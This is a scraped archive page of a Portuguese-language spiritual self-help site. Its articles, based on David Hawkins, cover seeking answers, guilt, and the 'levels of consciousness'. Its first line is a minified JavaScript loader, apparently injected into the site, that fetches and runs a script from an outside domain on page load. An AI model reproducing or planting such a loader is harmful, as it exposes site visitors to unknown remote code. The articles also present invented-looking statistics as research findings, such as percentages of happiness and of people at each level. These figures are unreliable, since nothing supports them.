;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de Estados de Consciência - David Hawkins Brasil
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David Hawkins

Respostas: Onde Você Busca por Elas?

Somos seres questionadores por natureza. Queremos obter respostas para todas nossas dúvidas e problemas. Vivemos buscando respostas.

Mas, será que buscamos por elas no lugar certo? Nossa mente é geralmente o primeiro recurso que usamos para obtê-las.

Observe as perguntas que a mente faz:

  • O que tem de errado com a gente?
  • Sou só eu ou o mundo que está enlouquecendo?
  • Onde estão as respostas?

Aí você obtém algumas respostas, mas percebe que elas apenas aliviam momentaneamente suas dúvidas e a seguir surgem novas questões:

  • A mente humana é uma bagunça, há esperança?
  • Será que Deus sabe o que está fazendo?
  • Está tudo confuso.

A mente tagarela o tempo todo.

Não se preocupe, buscar respostas é um processo humano

É um movimento comum do ser humano buscar respostas nas mais diversas áreas do conhecimento como: ciências, terapias, filosofias, religiões, astrologia, misticismo, enfim, mesmo recorrendo a uma infinidade de possibilidades, a busca por respostas é geralmente infrutífera. Ao final das mais diversas buscas, sentimos que nossas questões ainda não foram respondidas, ainda mantemos a dúvida e novas questões em mente.

A mente parece tagarelar em qualquer lugar que se procure uma solução.

Algumas pessoas tendem a banalizar os questionamentos da vida dizendo que ela é simples e que não entendem o porquê de tantas dúvidas. Na verdade, podem estar negando o próprio medo de enxergar a tudo isso. Especialistas sofisticam as questões e tentam catalogar crenças e respostas.

A verdade é que o ser humano busca conhecimento, tratamento, frequenta terapias, escolas, cursos, muda nutrição, entre tantas alternativas que podemos citar, sempre com o intuito de obter respostas, numa busca incansável e interminável.

Uma procura incansável por respostas

O que move o ser humano nessa direção? A esperança? O que o motiva a continuar buscando?

Onde está o nosso ponto cego? Por que não conseguimos encontrar a resposta?

Talvez porque:

  • ela seja muito simples
  • buscamos fora o que está dentro
  • mantemos muitos sistemas de crenças e nos tornamos cegos para o óbvio

Não conseguimos respostas porque não entendemos o problema

Qual é o segredo daqueles que conseguiram obter respostas?

Muitos caminhos espirituais são seguidos por multidões, mas poucos percebem a verdade última. E, por que isso não funciona? Por que quebramos a cara?

  • O ego entra em ação rapidamente e somos pegos pelo orgulho e a presunção achando que sabemos a resposta

Segundo Dr. Hawkins, devemos nos afastar daqueles que têm respostas, que se dizem justos e bons samaritanos.

“Confusão é nossa salvação. Para o confuso ainda há esperança. Mantenha-se em sua confusão. No fim ela é sua melhor amiga, sua melhor defesa contra a verdade absoluta das respostas dos outros, contra o ser oprimido por suas ideias. Se você está confuso, você ainda está livre!”

Dr. David Hawkins

Como alcançar a clareza e transcender os problemas?

Dr. Hawkins sugere que não se busque a resposta, mas que se procure desfazer a base do problema. As soluções e respostas encontram-se dentro de nós através de recursos disponíveis a todos, indistintamente.

“Conhece a ti mesmo”

“A verdade te libertará”

“O Reino de Deus está dentro de você.”

Tudo o que precisamos para solucionar qualquer questão já está dentro de nós, ninguém poderá nos roubar isso. E é a certeza da posse desse conhecimento interior, inconsciente, que sempre esteve dentro de nós que levou o professor Hawkins a descrever o mecanismo simples do “deixar ir”.

A prática desse mecanismo é capaz de processar mudanças notáveis. São esses conhecimentos que os Grandes Mestres nos trouxeram e que estamos há tanto tempo tentando compreendê-los.

A partir do momento em que compreendemos o mecanismo e o aplicamos em nossa vida, vamos nos sentindo mais livres, como se um peso saísse de nossas costas.

Um método simples e palpável

A partir do momento que conheça o método e passe a usá-lo, parecerá algo tão simples que talvez você até desconfie. Dr. Hawkins prefere que tenhamos exatamente essa postura:

“Melhor que euforia, uma observação silenciosa vai servir-lhe melhor.”

Deixar ir é uma metodologia que sugere apenas que redescubra aquilo que está dentro de você, que sempre foi seu, que emerge de sua própria natureza.

Por que compartilhar isso?

Pelo simples fato de colocar todos em contato com seus próprios sentimentos e experiências internas. Deixar ir significa rendição e ela virá automaticamente, pois buscar alívio a dor, ao sofrimento é algo natural que leva à experiência da felicidade maior.

No próximo artigo vamos descrever mais detalhadamente o processo descrito no livro “Deixar Ir”, da rendição que está em todos nós.

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Níveis de Consciência

Culpa: para que serve? – com base em Dr. David Hawkins

A culpa é tão comum em nossas vidas que nem a percebemos mais, mas ela está presente em quase todos os aspectos de nosso dia a dia.

Você já percebeu como a culpa está presente em nosso cotidiano? Quantas culpas temos instituidas em nosso dia a dia? Caso não, te convido a perceber.

Sentimos culpa em vários momentos por estarmos fazendo alguma coisa e não outra.

Por exemplo: estamos fazendo uma atividade de casa e nos culpamos por não estarmos fazendo uma tarefa do trabalho.

E, quando passamos a fazer essa tarefa, começamos a nos culpar por não termos tempo de estar com a família ou dar atenção para os filhos ou cônjuge.

Aí damos atenção a eles e nos sentimos culpados por não estarmos descansando.

Sentimos culpa em diversas situações.

A culpa também aparece depois:

  • de falarmos algo em hora errada,
  • por errarmos
  • de algo que não saiu do jeito que queríamos,
  • por estarmos em algum lugar quando “deveríamos” estar em outro,
  • de termos magoado alguém.

Além disso, a culpa surge também como negação da responsabilidade e projeção da culpa no externo, que pode gerar até mesmo sensações de:

  • ódio,
  • vingança e
  • ranger dos dentes.

E isso pode levar a culpar o outro por sua infelicidade, por acreditar que:

  • algo saiu diferente do que você queria,
  • por essa pessoa ser diferente,
  • porque não conseguir controlar as ações dela,
  • por ter estragado algo,
  • ou por outra qualquer coisa.

A culpa se transforma rapidamente em ódio vingativo.

Na história de nossa sociedade, vimos diversos políticos tiranos absolutistas cometerem atrocidades e dizimarem nações e culturas por projetarem nos outros a culpa por suas infelicidades ou por não conseguirem o que querem.

E o que é a culpa?

A culpa é um mecanismo de defesa do nosso ego que não leva em consideração a curva de aprendizagem, onde tudo acontece por um motivo para que estejamos em constante evolução.

Se passamos por uma situação é porque precisamos passar, caso contrário não passaríamos. Essa é a Realidade.

Aceitar a realidade sem cair em culpa é um desafio.

Para isso, é importante buscar trocar o sentimento de culpa interna ou externa por responsabilidade pessoal própria e intransferível.

Tudo que acontece com você é sua responsabilidade, pois suas decisões te levaram até ali e suas necessidades de aprendizado inconscientes atraem as situações pelas quais você passa.

Portanto, é necessário trocar culpa por responsabilidade de aceitar, aprender e mudar quando possível.

Gosto muito de uma frase do teólogo Reinhold Niebuhr que ajuda bastante no processo de transcendência da culpa:

“Que eu tenha serenidade para aceitar as coisas que não posso mudar, coragem para mudar as que posso e sabedoria para distinguir entre as duas.”

A culpa apenas nos faz sentir negativos diante das situações e gastar energia com aquilo que não podemos mudar, que é o passado, acreditando que ele prejudicou seu presente e seu futuro.

Mas isso é uma ausência de Realidade, logo, falsidade. Pois tudo está suscetível à mudança a todo momento, assim como a alegria e felicidade de cada um de nós.

Pois bem, essa é uma questão de decisão. Largar mão do negativo e deixar de lado as resistências ao positivo.

E o que fazer com os erros que cometemos?

Decisões passadas foram tomadas com base no limite de consciência daquele momento passado.

Enxergamos hoje como uma escolha ruim porque evoluímos. Caso contrário, enxergaríamos como uma boa escolha ou nem a perceberíamos, por ser uma escolha normal.

Então, entender, honrar e respeitar suas limitações passadas faz com que o erro deixe de ser prejudicial.

De inútil, o erro se transforma em algo benéfico e útil: aprendizado. Ao invés de sofrer, podemos agradecer por perceber os erros e ter a oportunidade de superá-los.

E, com isso, a alegria súbita surge. Pois, ao aprendermos algo e pararmos de resistir às situações como aconteceram, a angústia é trocada por alívio.

E então, para que ela serve?

A resposta mais certeira é: para nada.

No estado adulto a culpa se torna obsoleta. Ela é um recurso necessário apenas na fase de desenvolvimento do ser humano.

Assim, a partir da culpa, a criança em formação pode discernir o certo do errado e a moralidade da imoralidade, adquirindo responsabilidade sobre seus atos ou ausência de atos.

Quando já temos isso definido em nosso sistema, na limitação de nossos níveis de consciência e percepções de cada momento, a culpa se torna obsoleta e pode ser substituída completamente por aprendizagem súbita e radical.

Errou? Aprenda e pronto! Só isso.

Se sentir que é necessário, peça perdão se perceber que alguém se feriu, com verdade e compaixão.

E siga em frente dando o seu melhor, com gratidão pela oportunidade de uma evolução de consciência.

Observação: o segredo para superar a culpa.

Para vencer a culpa é necessário observar.

Observar profundamente como nossos sentimentos constroem padrões que protegem nossos prazeres de curto prazo e nos defendem dos desprazeres sensoriais, evitando nossa evolução.

E como esses sentimentos argumentam sobre o que está “certo” ou “errado” através de pensamentos sedutores.

Então, esses pensamentos sedutores nos convencem de que nossa visão de mundo é a correta.

O pensamento se torna ação, depois hábito. Forma nosso caráter e, por fim, manifesta-se nos resultados que alcançamos ou não alcançamos em nossas vidas.

Mas como assim? O que significa observar?

Observar é perceber os sentimentos, as sensações e os pensamentos como eles são e se manifestam.

E é por isso que, a partir daí, podemos perceber que esses impulsos são apenas sugestões da mente.

Mais do que isso, percebemos que nós não somos os nossos impulsos, mas o observador por trás deles.

Assim como o silêncio permite a música, como o espaço permite a matéria, o observador permite o pensamento.

Observação não é:

  • analise,
  • crítica,
  • reflexão,
  • julgamentalismo,
  • posicionalidade,
  • resistência ao que surge,
  • querer mudar o que surge,
  • querer entender os porquês.


Nada disso! Observação é puro entendimento e compreensão silenciosos. Sem qualquer ruído ou barulho que nos desfoque da profundidade daquilo que é real.

É aceitação e é desapego.

Essa aceitação com o que se foi e o desapego no controle do resultado, se permitindo ser quem é em um estilo de vida onde você dá o seu melhor em todos os momentos, é Amor.

E Amor cura a culpa.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

Entendendo os níveis de consciência – com base em Dr. David Hawkins

Pesquisa mostra que a base do sofrimento são as emoções negativas sutis que mantemos em nosso dia a dia. Entenda os Níveis de Consciência.

Muitas pessoas dizem ou mostram ser felizes, e algumas até acreditam serem mesmo felizes, mas por dentro encontram-se repletas de emoções negativas. Como, por exemplo, medos, ansiedades, inseguranças, irritações, indignações, raivas, intolerâncias, exaltações, autocríticas, culpas, vergonhas, tristezas, vaidades, arrogâncias, invejas, negligências e desejos. Isso tudo são níveis de consciência de sofrimento.

Então vale pensar: até quando nossa felicidade sobressai o nosso sofrimento no dia a dia? Uma pesquisa realizada pelo Dr. David Hawkins, Ph.D. e M.D., mostra que 78% da população é, em média, de 1% a 22% feliz durante a sua vida. No resto do tempo, a população é envolvida por emoções negativas como aquelas que descrevemos acima.

Características gerais dos níveis de consciência negativos

Essas pessoas são consideradas pessoas que, durante a maioria de seus dias, possuem pensamentos e sentimentos negativos em maior quantidade do que positivos. A maior característica é a de não reconhecer a necessidade de autoconhecimento e de se aprofundar em si mesmo. Isso acontece porque as pessoas acreditam que a fonte de felicidade está fora delas: bens materiais, pessoas, entretenimento, lugares, comidas, finais de semana, trabalhar duro. Porém, essa expectativa de que algo externo será fonte de alegria acaba trazendo, muitas vezes, frustração.

Não se conhecer também implica em não permitir o erro. Logo, gera culpa externa ao invés de assumir a responsabilidade por tudo que acontece na sua vida, e culpa interna por se achar incapaz.

Pessoas em níveis de consciência negativos esquecem que a condição básica do ser humano é experienciar. Com isso, julgam as experiências ruins como erros, e não como aprendizados ou correções de percurso que levarão a algo maior. Isso faz com que a pessoa tenha um sentimento de escassez. Logo, acredita que precisa de tudo que encontra fora dela mesma (atenção, reconhecimento, conquistas, bens materiais, etc) para suprir sua carência e sentimento de ausência de felicidade, tornando-se egoísta.

Características gerais dos níveis de consciência positivos

Por outro lado, as pessoas mais conectadas com emoções positivas do que negativas são aquelas que constroem para si mesmas e para o mundo. Essa energia positiva de construtivismo faz com que as pessoas deem um salto quântico de felicidade de 22% para 55%, podendo chegar até 75% de felicidade e serenidade interna em seu dia a dia. Hoje, no mundo, temos uma média de 15% das pessoas com esses estados de consciência.

Essas pessoas possuem como princípios emoções de coragem, neutralidade, disposição, aceitação, desapego de resultados, entendimento sobre abundância, perdão e entusiasmo. São pessoas que evidenciam em suas vidas o seu próprio bem-estar e o bem-estar do próximo.

São as pessoas consideradas de “sucesso” nas quais nos espelhamos. Sucesso profissional, pessoal, relacional, etc. Dentro do conceito empresarial, são pessoas que pensam ganha-ganha. Pessoas que buscam evolução consciente, autoconhecimento e autodomínio.

Salto de felicidade: nível de consciência da razão

Há também um número de pessoas, ainda menor, em torno de 4% da população, que se encontram em um nível de razão. Pessoas que aprenderam a abstrair suas emoções positivas e negativas na maior parte do tempo de seu dia para analisar a realidade por trás dos acontecimentos, ao invés de saírem julgando pessoas e acontecimentos por aí. O que não significa que são pessoas frias, mas sim que conseguem observar suas emoções e escolhem se envolver apenas com as mais adequadas. Esse é o nível onde a ciência se encontra, onde os grandes gênios que conhecemos também estiveram. Muitos ganhadores de prêmios Nobel também se encontram nesse estágio de consciência onde a felicidade chega aos 86%.

Essas pessoas conseguiram entender que, por sermos pessoas racionais, devemos usar nossa razão para extrair os sentimentos ao invés de canalizá-los em julgamentos, opiniões e posicionamentos, que são sempre subjetivos. Ao invés disso se atém a interpretar os fatos como eles são. A lógica substitui o “achismo”. Existe uma percepção de alta performance por existir um equilíbrio constante e harmonia nas emoções.

É possível ir além da razão?

Sim. Ainda há uma pequena parcela da sociedade, mais precisamente de 3% a 4%, que atinge um estágio de experiência que entende o além-mente. Dentro da ciência, alguns físicos quânticos conseguiram explicar algumas variáveis sobre o assunto. Estão aqui pessoas que priorizam o serviço altruísta ao invés de suas necessidades pessoais e prazeres de curto prazo. Pessoas que vivem em um estado de Ser Amor, acima de tudo. Prezam por harmonia, paz, acordo, não julgamento, não resistência, desapego, misericórdia, generosidade e bondade.

Vemos nesses níveis pessoas que se doam por algo maior do que elas. Uma sociedade mais harmônica e colaborativa. Servem através do amor, da compreensão, da aceitação de cada pessoa como é. Não precisam mudar de ambiente ou contexto para servirem. Servem a todo momento, em todos os lugares a todas as pessoas, ativamente ou silenciosamente, dependendo do que cada situação exige em sua particularidade.

Essas pessoas partem de 89% de felicidade e, em raríssimos casos, podem chegar a 100% de felicidade. Felicidade plena e sem alteração.

Quer entender mais sobre os níveis de consciência?

É só clicar no botão ao final deste post. Assim, você vai poder conferir o próximo artigo da série que fala sobre como vencer a vergonha.

Este é o primeiro de uma série de artigos que explica cada um dos níveis de consciência detalhadamente. Os artigos mostram como acessar os níveis positivos e abstrair aqueles que são negativos. A série também traz a compreensão de por que cada pessoa age como age, pois as atitudes humanas são diretamente ligadas aos níveis de consciência.

Entendendo cada um dos níveis, podemos trocar a condenação por compreensão. Dessa forma, evoluímos nosso Ser de maneira real e objetiva, tornando as experiências das pessoas mais agradáveis quando estão ao nosso lado.

Na Pandora, em todas as nossas palestras, falamos sobre ferramentas internas e simples que podemos utilizar para expandir os níveis de consciência e diminuir a intervenção dos pequenos sofrimentos. Por exemplo: a irritação no trânsito, os conflitos no trabalho, os desentendimentos da família. A tristeza por perder um bem material, o derramar de um líquido, a ansiedade por chegar logo o próximo dia ou o medo de que ele chegue. A preocupação por estar atrasado, a autocrítica por estar se divertindo ao invés de produzindo ou por ter acordado tarde, a discussão interna com outra pessoa planejando todas as coisas que deixou de falar para ela, e assim por diante.

Que todos os seres sejam felizes.

Gratidão.

.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar?

08. Coragem é a base do sucesso.

09. A neutralidade nos ajudar a não sofrer.  

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A paz e o processo de iluminação.

15. Como despertar a Iluminação Espiritual.